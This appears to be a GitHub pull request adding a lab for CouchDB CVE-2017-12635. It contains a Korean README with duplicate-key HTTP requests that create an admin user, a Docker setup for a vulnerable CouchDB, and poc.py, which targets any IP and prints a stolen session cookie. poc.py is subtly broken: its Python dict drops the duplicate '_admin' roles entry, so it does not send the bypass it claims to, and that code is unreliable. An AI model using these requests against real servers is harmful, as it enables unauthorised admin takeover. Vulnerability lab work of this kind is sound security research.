Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[김민준/jason1343]: couchdb CVE-2017-12635 분석 코드 및 결과 #35

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added couchdb/CVE-2017-12635/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added couchdb/CVE-2017-12635/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added couchdb/CVE-2017-12635/3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
80 changes: 80 additions & 0 deletions couchdb/CVE-2017-12635/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# 아파치 Couchdb 원격 권한 상승 (CVE-2017-12635)

**Contributors**

- [김민준(@jason1343)](https://github.com/jason1343)

아파치 CouchDB는 오픈 소스 문서 지향 NoSQL 데이터베이스로, Erlang으로 구현되었습니다. CouchDB는 데이터를 저장, 전송 및 처리하는 데 여러 형식과 프로토콜을 사용합니다. 데이터를 저장할 때 JSON을 사용하며, MapReduce를 사용하는 쿼리 언어로 JavaScript를 활용하고, API에는 HTTP를 사용합니다.

Apache CouchDB 1.7.0 이전 및 2.1.1 이전 버전에서 Erlang 기반 JSON 파서와 JavaScript 기반 JSON 파서 간의 차이로 인해, 데이터베이스 내에서 액세스 제어를 위해 사용되는 roles에 중복 키가 포함된 _users 문서를 제출할 수 있습니다. 이 중 _admin 역할은 관리자 사용자를 나타내는 특별한 경우로 사용됩니다.

참고 링크.

- https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
- https://www.exploit-db.com/exploits/44498
- http://bobao.360.cn/learning/detail/4716.html

## 환경 설정

환경을 컴파일 하고 시작해주세요.

```
docker compose up -d
```

환경이 시작된 후, ``http://your-ip:5984/_utils/``를 브라우징하여 웹 페이지를 볼 수 있으면, CouchDB가 성공적으로 시작되었음을 의미합니다. 그러나 로그인 없이는 아무 작업도 수행할 수 없습니다.

## 익스플로잇

데이터베이스에 유저를 추가하기 위한 기본적인 요청입니다.

```
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
```

보시다시피, 403 오류가 반환됩니다: {"error": "forbidden", "reason": "Only _admin may set roles"}. 이는 관리자만이 이 엔드포인트를 사용할 수 있다는 것을 의미합니다.

![](1.png)

우회하려면 중복된 **roles**을 포함하는 요청을 보내야 합니다.

```
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
```

성공적으로 `vulhub`유저가 `vulhub`의 비밀번호와 함께 생성되었습니다.

![](2.png)

로그인.

![](3.png)
19 changes: 19 additions & 0 deletions couchdb/CVE-2017-12635/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
version: '2'
services:
couchdb:
image: vulhub/couchdb:2.1.0
ports:
- "5984:5984"
environment:
COUCHDB_USER: admin
COUCHDB_PASSWORD: password
initd:
image: buildpack-deps:focal-curl
command: "bash /init.sh"
environment:
COUCHDB_URL: couchdb:5984
COUCHDB_AUTH: admin:password
volumes:
- ./init.sh:/init.sh
depends_on:
- couchdb
12 changes: 12 additions & 0 deletions couchdb/CVE-2017-12635/init.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
#!/bin/bash

COUCHDB_URL=${COUCHDB_URL:-"couchdb:5984"}
COUCHDB_AUTH=${COUCHDB_AUTH:-"admin:password"}

while ! curl -m 5 "${COUCHDB_URL}"; do
sleep 1
done

curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_users
curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_replicator
curl -X PUT http://${COUCHDB_AUTH}@${COUCHDB_URL}/_global_changes
65 changes: 65 additions & 0 deletions couchdb/CVE-2017-12635/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
import requests
import time as t

targetIp = input("Target CouchDB IP -> ")
username = input("Username you wanna create -> ")
userpw = input("Password -> ")

print("Processing...", end='')

######################################
##### Unauthenticated Creating #######
######################################

headers = {
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
'Connection': 'close',
'Content-Type': 'application/json',
'Content-Length': '108'
}
data = {
"type": "user",
"name": username,
"roles": ["_admin"],
"roles": [],
"password": userpw
}
response = requests.put(f'http://{targetIp}:5984/_users/org.couchdb.user:{username}', json=data, headers=headers)

if response.status_code == 201: #put은 201
print("success!")
else:
print("Exploit Failed.")
input()
quit()

# Login
headers = {
'accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
}
data = {
"name": username,
"password": userpw,
}

response = requests.post(f'http://{targetIp}:5984/_session', data=data)

if response.status_code == 200:
set_cookie_header = response.headers.get('Set-Cookie')
sess = set_cookie_header.split(';')[0].split('=')[1]
print("Session : " + sess)
input()
quit()

else:
print("Login Process Failed.")
input()
quit()